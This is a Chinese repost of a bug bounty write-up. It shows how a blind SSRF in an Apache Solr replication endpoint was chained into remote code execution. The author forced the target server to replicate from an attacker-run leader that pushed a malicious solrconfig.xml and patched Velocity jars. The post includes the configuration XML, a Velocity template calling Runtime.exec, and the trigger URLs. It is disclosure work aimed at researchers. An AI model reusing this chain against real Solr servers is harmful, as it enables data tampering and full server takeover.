大家好！在这篇文章中，我将讨论我发现的最漂亮、最复杂的漏洞之一，以及它是如何被归类为“重复”的，尽管我是唯一一个实现 RCE 的人。几周前，我在与上一篇文章中描述的漏洞赏金计划相同的漏洞赏金计划中发现了它。因为当时这是一个私人计划，所以我需要隐藏一些信息。但是，我可以告诉你，它属于最大的视频游戏公司之一，该公司与黑客和其他修补者的关系并不好 ;)。
另外，顺便提一下，我省略了在这项研究中遇到的许多兔子洞和一些晦涩难懂的 Solr 细节，这些细节对于这篇文章来说并不那么有趣，因为它已经太长和技术性了。我希望你喜欢它，并和我一样觉得它很有趣！
[[ 前作 ]]
这个故事始于去年，当时我从一个私人程序中发现了不同 Solr 服务器中的三个漏洞。如前所述，其中一些漏洞已在本博客的另一篇文章中描述。我强烈建议您阅读这篇文章，因为它可以作为本文将讨论的一些 Solr 概念的介绍。
在此期间，我还在其中一台 Solr 服务器中发现了一个已知的盲 SSRF，编号为CVE-2021-27905，该服务器仅包含所有欧洲商店的前端数据（产品名称、价格、链接等）。该服务器可以自由查询，并且没有任何私人信息。由于这不是一个高危或关键的漏洞，所以我没有报告它，而是决定自己保留它，以防将来可以将其用作更复杂的漏洞利用链的一部分。最后，我把这个抛在脑后，转而从事其他不相关的项目。
几个月后（写这篇文章时是两周前），我决定花更多时间做漏洞赏金项目。我认为检查我之前的所有记录，看看是否有我过去报告过的漏洞，以防出现变化，这可能是一个不错的起点。目标是进入状态，并尝试做好心理准备，开始持续进行黑客攻击，因为我在职业生涯中发现，在做漏洞赏金项目时，心理方面对我来说是最困难的部分。
现在，我怀着更积极的态度，当我想起我在一个程序中发现了两个高危漏洞和一个严重漏洞时，我知道我必须再看一遍。然而，这一次我将采取一种更像研究的方法，并决定更深入地研究 Solr。我很快确认了盲 SSRF 仍然可利用，并立即开始研究。
[[ 理解盲目的 SSRF ]]
我的第一个目标是完全理解这个盲 SSRF，因为我最初是通过寻找常见的 Solr 漏洞而发现它的，并没有进一步深入研究。它位于“/solr/<core>/replication”，这是核心的复制请求处理程序。本质上，核心是 Solr 服务器中可用的不同数据集。在本例中，服务器为每种语言都有一个核心。例如，使用“de”核心，可以通过访问以下 URL 触发漏洞：
https://target.com/solr/de/replication?command=fetchindex&leaderUrl=https://attacker.com为了进一步了解此错误所涉及的所有功能，我需要查看 Solr 文档。幸运的是，Apache 维护着一个庞大的 Web 门户网站来托管 Solr 文档，因此找到与索引复制相关的章节并不难。据我了解，复制允许创建多个 Solr 实例的基础架构，其中领导者实例将其数据的副本分发给追随者实例。然后领导者管理数据更新，而追随者管理查询。
参与此基础架构的每个实例都必须有一个可用的复制请求处理程序（“/replication”），它根据其是领导者还是追随者来接受一系列命令。这些命令在索引复制章节的其中一节中详细介绍，其中“fetchindex”的描述如下：
fetchindex Force the specified follower to fetch acopy of the index from its leader. http://_follower_host:port_/solr/_core_name_/replication?command=fetchindex You can pass an extra attribute such as leaderUrl or compression (or any other parameter described in Configuring a Follower Server) todoa one time replication from a leader. This removes the need for hard-coding the leader URL in the follower configuration.这意味着我发现盲 SSRF 的 Solr 服务器是一个跟随者实例，可以指定一个领导者使用“fetchindex”命令执行一次性复制。
当我了解到这一点时，我首先想到的是，也许我可以创建一个充当领导者的恶意 Solr 服务器，并将我自己的数据副本分发到目标服务器中。由于目标 Solr 服务器包含该公司所有欧洲商店的数据，这意味着我将能够修改这些商店的内容！这听起来很棒，但前面的路还很长。
环顾四周，我还了解了其他复制命令，例如可用于检索复制配置的“details”：
https://target.com/solr/de/replication?command=details在这种情况下，服务器返回了一个巨大的 JSON 响应，我当时还不完全明白。不过，我能从这个输出中解释的一件事是，服务器还允许其他人从中复制数据，这意味着我可能可以下载整个数据集。
这非常有用，因为从理论上讲，我只需复制数据集、引入测试条目，然后将其分发回目标服务器即可。这样，我就可以证明我能够通过查询新添加的条目来修改数据集，而不会破坏公司商店的任何数据。
太好了。现在的第一步是部署本地 Solr 实例并检查我是否可以从目标服务器复制数据集。
[[ 创建我自己的 Solr 实例 ]]
因此，我从Solr 网站
下载了最新的二进制版本并遵循其部署指南。此二进制版本包含一个命令行界面工具，允许启动/停止 Solr、管理核心等。这样，可以使用以下命令在端口 9000 上生成一个新的 Solr 服务器：
$ bin/solr start -p 9000一旦“start”命令完成，就可以通过“http://127.0.0.1:9000/”访问管理界面：
下一步是创建核心。以下命令将创建一个名为“hacefresk0”的新空核心：
$ bin/solr create -c hacefresk0然后可以在选择请求处理程序中进行查询：
然后，我需要将核心的复制请求处理程序配置为目标服务器的跟随者。为此，我需要编辑位于“server/solr/hacefresk0/conf/solrconfig.xml”的核心配置文件并添加以下元素：
<requestHandler name="/replication"class="solr.ReplicationHandler"><lstname="slave"><strname="leaderUrl">https://target.com/solr/de/</str><strname="pollInterval">00:00:20</str></lst></requestHandler>
后来我在谷歌上搜索了一下，发现 Solr 现在要求将指定的“leaderUrl”明确列入白名单或在启动时使用标志“-Dsolr.disable.allowUrls=true”。我觉得这很有趣，因为这意味着目标服务器可能也在使用这个标志，尽管 Solr 警告说这不是一种安全的做法。无论如何，我使用标志重新启动了服务器：
$ bin/solr stop; bin/solr start -p 9000 -Dsolr.disable.allowUrls=true
我现在可以在本地查询它：
正如我之前提到的，考虑到这个数据集是公开的并且不包含任何私人信息，因此这种行为本身并不是一个漏洞。
接下来要添加一个无害的条目，以便稍后证明我可以修改数据库。为此，我首先使用复制命令“disablepoll”停止从目标服务器轮询更多数据，因为新的复制将覆盖本地更改。然后，我添加了一个 ID 为“1337”、标题为“被 hacefresk0 黑客入侵”的条目 
此时，我已从目标服务器获得了数据集的副本，其中新添加了 1337-elite-hacker 条目。现在，我需要检查我是否真的可以将该数据集分发到目标服务器，或者这是否只是一个陷阱。
[[ 复制到目标服务器 ]]
为了将我的本地服务器配置为复制领导者而不是跟随者，我需要修改之前添加到核心配置文件中的复制请求处理程序的配置：
<requestHandler name="/replication"class="solr.ReplicationHandler"><lstname="leader"><strname="replicateAfter">optimize</str><strname="backupAfter">optimize</str></lst></requestHandler>然后，我重新启动服务器以应用更改，并使用ngrok将本地领导服务器公开到互联网：
$ ngrok http 9000为了检查复制领导者是否正常工作，我首先想在本地进行测试。我创建了一个名为“replica”的新核心，并使用“ngrok”提供的 URL 将其配置为领导者的追随者：
<requestHandler name="/replication"class="solr.ReplicationHandler"><lstname="slave"><strname="leaderUrl">https://<ngrok_url>/solr/hacefresk0/</str><strname="pollInterval">00:00:20</str></lst></requestHandler>然后，我执行了“fetchindex”命令并成功从本地领导者复制了数据集！
现在是时候在目标服务器上执行它了。我访问了以下 URL 来触发复制：
https://target.com/solr/de/replication?command=fetchindex&leaderUrl=https://<ngrok_url>/solr/hacefresk0/但是... ngrok 没有收到任何连接 :/ 我重复了多次这个过程，并重置了所有内容，但还是无法让它工作。我再次进行了与之前相同的本地测试，并且成功了，但我无法针对目标服务器执行它，所以我把它留在那里，休息了几天。
然后，在玩一些视频游戏时，我突然明白了。我不知道目标服务器使用的 Solr 版本，也许它与我本地服务器的版本之间的差异阻碍了复制。
我回到目标服务器，开始尝试触发一些错误，看看我是否可以泄露 Solr 版本，直到我找到它！它使用的是 8.11 版本（我不记得我是如何得到这个错误的，因为我只是记下了版本，但它可能是复制请求处理程序中的一些东西）。我立即从他们的网站下载了 Solr 8.11 的二进制版本，并开始重新创建相同的测试环境。
一切准备就绪后，我使用“fetchindex”命令在目标服务器中触发了复制，然后……成功了！当我查询我的自定义 1337 条目时，每个人都可以看到它：
我能够成功修改该公司每个欧洲商店的数据，这意味着我可以破坏它们，引入恶意链接等等！但是，既然我可以将数据分发到目标 Solr 服务器，我想知道我还能做什么。
[[ 修改目标服务器配置 ]]
之前，在阅读有关创建复制领导者的 Solr 文档时，我浏览了复制请求处理程序配置中“领导者”元素的一个可能参数：
confFiles Optional | Default: none The configuration filesto replicate to the follower, separated by a comma. These should befiles such as the schema, stopwords, and similar configuration files that may changeon the leader and need tobe updated on the follower to use when serving queries. [...]现在我确信复制是可能的，我想进一步研究这一点。本质上，此参数允许领导者指定一组配置文件，这些配置文件位于与“solrconfig.xml”相同的目录中，并复制到追随者中。一旦收到它们，它们就会被加载，就像服务器重新启动一样。还可以指定这些配置文件到达追随者后将使用的文件名。
我想测试是否能够使用此参数将任意配置文件传送到目标服务器。因此，我创建了一个名为“hacefresk0-config.xml”的新文件，该文件将在目标服务器中重命名为“solrconfig.xml”，覆盖其自己的配置文件。为了能够分发它，我将相应的“confFiles”元素添加到本地服务器的复制请求处理程序中：
<requestHandler name="/replication"class="solr.ReplicationHandler"><lstname="leader"><strname="replicateAfter">optimize</str><strname="backupAfter">optimize</str><strname="confFiles">hacefresk0-config.xml:solrconfig.xml</str></lst></requestHandler文件“hacefresk0-config.xml”是 Solr 8.11 默认“solrconfig.xml”的副本，并进行了一些修改。由于领导者 URL 显示在“details”命令的服务器响应中，因此我添加了一个自定义 URL 来检查新配置是否真的可以成功加载到服务器中。我使用的领导者 URL 只是当前的 URL，它对应于公司的内部服务器，但明确指定了“443”端口：
<requestHandler name="/replication"class="solr.ReplicationHandler"><lstname="slave"><strname="leaderUrl">https://leader.target.com:443/solr/de/</str><strname="pollInterval">00:00:20</str></lst></requestHandler>和之前一样，我重启了本地服务器，然后使用“fetchindex”命令触发目标服务器上的复制。我在 ngrok 接口上收到了几个请求，表明复制已成功执行。当我在目标服务器上执行“details”命令时，它显示“hacefresk0-config.xml”已被正确复制，并且领导者 URL 现在包含“:443”，这意味着我已成功修改目标服务器的配置！
下一步是尝试使用此行为来实现 RCE。
寻找可实现 RCE 的小工具
此时，我开始在 Solr 中寻找已知的 RCE，并调查是否可以通过修改核心配置文件来触发其中任何一个。除了 Solr 文档之外，我还阅读了许多有用的文章，例如这篇关于“Solr 注入”的文章和另一篇关于仅 Solr RCE 的文章。此外，就像我在另一篇关于 Solr 的博客文章中一样，我查看了nuclei 模板存储库，它始终是漏洞利用的良好来源。
结果，我发现很多情况下，在以前的版本中，可以通过配置文件启用危险功能，但开发人员对其进行了限制，因此只能使用 Solr 二进制文件或环境变量进行管理。例如，远程流就是这种情况。另一个很大的限制是目标服务器只允许访问“/select”和“/replication”，这意味着我无法使用任何最终依赖于其他请求处理程序的漏洞。
经过多次尝试，我最终使用了Velocity 模板，这是非常强大的基于 Java 的模板，过去曾用于利用 Solr。下面是一个简单的示例：
<html><body> Hello $customer.Name!<table> #foreach( $mud in $mudsOnSpecial ) #if ( $customer.hasPurchased($mud) )<tr><td>$flogger.getPromo( $mud )</td></tr> #end #end</table></body></html>在旧版本中，可以使用“/config”处的配置请求处理程序来启用 Velocity 引擎并提供自定义模板来实现 RCE。当开发人员发现这一点时，他们限制了它的管理，以便只能通过“solrconfig.xml”配置文件来使用它。
考虑到我可以修改目标服务器的配置文件，这种情况似乎很完美。但是，还是有一点不方便。在当前版本中，运行 Velocity 引擎所需的 .jar 库不再默认与 Solr 捆绑在一起，因为它自 9.0 版以来已被弃用，因此必须手动添加它们。为此，必须将它们放在 Solr 可访问的目录中并在配置文件中引用。
这感觉像是一条死路，但后来我想到了一个主意。也许，如果我能够将任意配置文件传送到目标服务器，我也可以传送 .jar 文件。由于它们是使用“solrconfig.xml”加载的，我可以修改它，所以我能够在目标服务器中启用 Velocity 引擎。但首先，我需要找到那些 .jar 文件 :D。
事实证明，现在可以在第三方 Solr 插件的github repo中找到它们，该插件在弃用后已“取代”了 Velocity。我下载了 .jar 文件并开始设置本地测试环境，以检查是否可以将它们从领导者复制到追随者。
我生成了两个 Solr 实例：一个领导者和一个追随者。我将 Velocity .jar 文件复制到领导者“solrconfig.xml”所在的同一目录中（“server/solr/leader/conf/”），并将其配置为在复制时分发它们：
<requestHandler name="/replication"class="solr.ReplicationHandler"><lstname="leader"><strname="replicateAfter">optimize</str><strname="backupAfter">optimize</str><strname="confFiles">solritas-0.9.5.jar,velocity-engine-core-2.1.jar,velocity-tools-generic-3.0.jar</str></lst></requestHandler>对于跟随者，我配置了一个指向领导者实例的简单跟随者复制请求处理程序：
<requestHandler name="/replication"class="solr.ReplicationHandler"><lstname="slave"><strname="leaderUrl">http://localhost:9000/solr/leader/</str><strname="pollInterval">00:00:20</str></lst></requestHandler>
<lib dir="conf/" regex=".*.jar"/><queryResponseWritername="velocity"class="solr.VelocityResponseWriter"><strname="template.base.dir"></str></queryResponseWriter>然后我重启服务器，访问“/select?q=1&wt=velocity&v.template=browse&v.layout=layout”，会渲染默认的Velocity模板“browse”，说明Velocity已经启用：
太棒了。到目前为止，我能够通过分发所需的 .jar 库和自定义“solrconfig.xml”来启用 Velocity 引擎。唯一缺少的是提供一个恶意的 Velocity 模板来实现 RCE。在旧版本中，一旦启用 Velocity，就可以通过在“/select”处的 select 请求处理程序中使用 URL 参数直接完成此操作，类似于像我之前一样渲染默认的“浏览”模板。但是，当我尝试这样做时，我了解到 Velocity 现在仅支持从本地文件系统执行模板。由于我能够提供任意文件，所以这不是问题，所以我直接在本地服务器中渲染恶意模板以检查我是否能够真正获得 RCE。
我创建了一个简单的模板，它将在服务器上执行命令“id”，并将其保存为“server/solr/follower/conf/velocity/rce.vm”中的“rce.vm”：
#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))#set($chr=$x.class.forName('java.lang.Character'))#set($str=$x.class.forName('java.lang.String'))#set($ex=$rt.getRuntime().exec('id'))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($iin [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end我重新启动了服务器并访问“/select?q=1&wt=velocity&v.template=rce”来渲染它……但它没有执行“id”命令：
在检查了模板语法是否正确，并在互联网上搜索了几个小时后，我“有点明白”了为什么它无法正确渲染。看起来 Velocity 引擎的配置不允许实例化新类（与名为“SecureUberspector”的内部类有关，如果您对此感兴趣，请参阅此问题）。这实际上意味着对“$x.class.forName()”的调用根本没有被执行。该死。
这时，我已经没有什么主意了，所以我休息了几天。
[[ 修补速度 ]]
一天晚上，当我重新回顾我的笔记时，我想我可以在Velocity 插件 github repo中找到一些答案，因为它还包含 Velocity .jar 文件的 Java 代码。我搜索了字符串“SecureUberspector”，令我惊讶的是，有两个结果：
第一个结果对应于负责禁用“solr-velocity/src/main/java/org/apache/solr/response/VelocityResponseWriter.java”中新类实例化的代码片段！
嗯，这太令人激动了。也许我可以删除这些行并重新编译 .jar 文件，这样生成的 Velocity 引擎就不会受到任何限制。经过反复试验并修复了项目的“pom.xml”文件中损坏的依赖关系后，我能够重新编译 .jar 文件：
我在本地 Solr 实例上用以前的 Velocity 库替换了这些库，其中 Velocity 已根据之前的测试进行了配置，然后再次尝试访问“/select?q=1&wt=velocity&v.template=rce”处的“rce.vm”模板：
太棒了！我有一个理论上的漏洞，可以在目标服务器上获取 RCE！现在，我必须测试它。
由于我已经重新编译了 Velocity 插件并提供了自定义 .jar 库，我认为修改 .jar 文件中捆绑的默认“浏览”模板会更酷，这样我就不必随这些库一起提供恶意模板。这样，我编辑了“src/main/resources/browse.vm”处的模板并创建了一个 PoC，该 PoC 将显示我能够通过执行“id”命令在目标服务器上获得 RCE：
<title>Hacked by hacefresk0</title><h1>Hacked by hacefresk0</h1><br><pre>#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('id')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end</pre>我再次重新编译了 .jar 库并准备了漏洞利用。总结一下，在目标服务器上实现 RCE 的步骤如下：
-
创建一个恶意的本地 Solr 服务器，充当目标服务器的跟随者
-
从目标 Solr 服务器复制数据集，以免原始数据集丢失
-
将本地服务器配置为领导者，分发恶意的“solrconfig.xml”文件和修改后的 Velocity .jar 库以及数据集
-
触发从本地服务器到目标服务器的复制
-
访问目标服务器中修改后的“浏览”模板，将执行“id”命令
由于我的本地 Solr 实例“hacefresk0”已经包含目标服务器的数据集，我将其复制请求处理程序配置为领导者，为目标服务器和修改后的 Velocity .jar 库提供恶意的“solrconfig.xml”文件：
<requestHandler name="/replication"class="solr.ReplicationHandler"><lstname="leader"><strname="replicateAfter">optimize</str><strname="backupAfter">optimize</str><strname="confFiles">malicious-solrconfig.xml:solrconfig.xml,solritas-0.9.5.jar,velocity-engine-core-2.1.jar,velocity-tools-generic-3.0.jar</str></lst></requestHandler>恶意的“solrconfig.xml”包含一个“<lib>”元素来导入.jar库，一个“<queryResponseWriter>”元素来启用Velocity，以及一个配置为目标当前领导者的跟随者的复制请求处理程序，这样我就不会破坏他们的复制基础设施：
<lib dir="conf/" regex=".*.jar"/><queryResponseWritername="velocity"class="solr.VelocityResponseWriter"><strname="template.base.dir"></str></queryResponseWriter><requestHandler name="/replication"class="solr.ReplicationHandler"><lstname="slave"><strname="leaderUrl">https://leader.target.com:443/solr/de/</str><strname="pollInterval">00:00:20</str></lst></requestHandler>现在，我通过访问以下 URL 触发了目标服务器中的复制：
https://target.com/solr/de/replication?command=fetchindex&leaderUrl=https://<ngrok_url>/solr/hacefresk0/一旦我在 ngrok 界面上看到相应的连接，表明复制成功，我就通过“https://target.com/solr/de/select?q=*&wt=velocity&v.template=browse”访问目标服务器中的恶意“浏览”模板。命令“id”已在服务器中成功执行:D
[[ 报告和结论 ]]
我向公司的漏洞赏金计划报告了这个 RCE，希望得到丰厚的奖励。然而，几天后，他们决定将报告作为重复报告关闭，这对我来说似乎很奇怪。虽然我无权查看重复报告，但该报告的严重性为 9.1，并且已经打开了 4 个月。此外，当我报告此问题时，“/replication”端点立即被关闭，这让我认为另一份报告根本没有展示 RCE。最后，他们最终向我支付了与严重漏洞相对应的 10% 的赏金，我认为这根本不公平。
虽然这是一次非常令人沮丧的经历，但我还是想与社区分享，因为这是我在野外发现的最复杂、最奇特的漏洞。另外，我希望这篇文章能提醒大家不要破解劣质程序，我以后肯定不会再这么做了。要意识到自己的价值，在把它送给任何人之前要三思而后行。
如果你读完了这篇文章，我真的希望你喜欢它，并觉得它和我一样有趣。欢迎随时通过我的社交媒体联系我，祝你黑客愉快 
原文始发于微信公众号（Ots安全）：在 Solr 服务器上获取 RCE 的一种非常奇特的方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论